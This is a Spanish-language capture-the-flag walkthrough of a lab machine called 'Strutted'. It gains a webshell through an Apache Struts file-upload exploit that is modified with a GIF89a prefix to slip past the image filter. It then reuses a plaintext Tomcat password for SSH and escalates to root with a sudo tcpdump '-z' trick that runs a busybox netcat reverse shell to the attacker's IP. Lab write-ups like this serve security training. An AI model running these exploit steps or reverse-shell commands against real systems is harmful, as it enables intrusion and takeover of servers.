1. Escaneo de puertos tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. Enumeración
Luego de añadir en el etc hosts el dominio, accedemos a la página http://strutted.htb. En ella podemos ver como podemos descargar los archivos del contenedor docker, de la propia aplicación, accediendo al endpoint /download.action
.
En dichos archivos, en el pom.xml, podemos observar como el servidor web hace uso de la dependencia Apache Struts en su versión 6.3.0.1.
Buscando alguna vulnerabilidad que afecte a dicha versión, encontramos que es vulnerable a CVE-2024-53677, encontrando para ello el siguiente exploit: https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE.
3. Explotación
Dicho exploit se aprovecha de una vulnerabilidad a la hora de subir archivos, a través del endpoint /upload.action
.
En nuestro caso, el recurso web, está limitado para solo aceptar tipos de archivos como fotos o imágenes, por lo que tenemos que modificar el script. Para ello modificamos las siguientes líneas, estableciendo los siguientes valores:
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
war_file_content = b"GIF89a;" + war_file_content
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"),
Ahora ya podemos lanzar el script del exploit, mediante el siguiente comando:
# python3 exploit.py --url http://strutted.htb/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://strutted.htb/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[+] Successfully connected to the web shell.
CMD > id
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
Por lo que obtenemos una revershell como el usuario tomcat.
4. Movimiento lateral
Revisando los archivos de configuración, observamos que hay uno llamado tomcat-users.xml:
CMD > ls
conf
lib
logs
policy
webapps
work
CMD >ls conf
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml
Si lo leemos, observamos lo siguiente:
CMD > cat conf/tomcat-users.xml
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
Listamos entonces los usuarios del sistema, y observamos que existe un usuario en el sistema llamado james
:
CMD > ls /home
james
Probamos si el usuario james, reutilizó dichas credenciales para acceder mediante SSH, y observamos como damos accedido con las credenciales james:IT14d6SSP81k
. Por lo que somos capaces de obtener la flag de usuario
5. Escalado de privilegios
Observamos los comandos que puede lanzar el usuario james como root:
# sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
Por lo que podemos escalar privilegios, aprovechando el siguiente exploit: https://gtfobins.github.io/gtfobins/tcpdump/. Aunque en lugar de utilizar dicha técnica, vamos a crear una revershell aprovechando los permisos de tcpdump y siguiendo los siguientes pasos:
En la máquina objetivo ejecutamos:
# echo $'id\nbusybox nc 10.10.14.74 9001 -e /bin/bash' > pwn # chmod +x pwn
Abrimos en nuestra máquina un listener a través de ese puerto:
# nc -lvnp 9001
Ejecutamos en la máquina objetivo el comando
tcpdump
, para que se ejecute dicho revershell:# sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z ./pwn -Z root
Observamos como en nuestra máquina, se nos crea una shell como usuario root:
# nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.14.74] from (UNKNOWN) [10.10.11.59] 60094 id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt
Por lo que somos capaces de obtener la flag de root.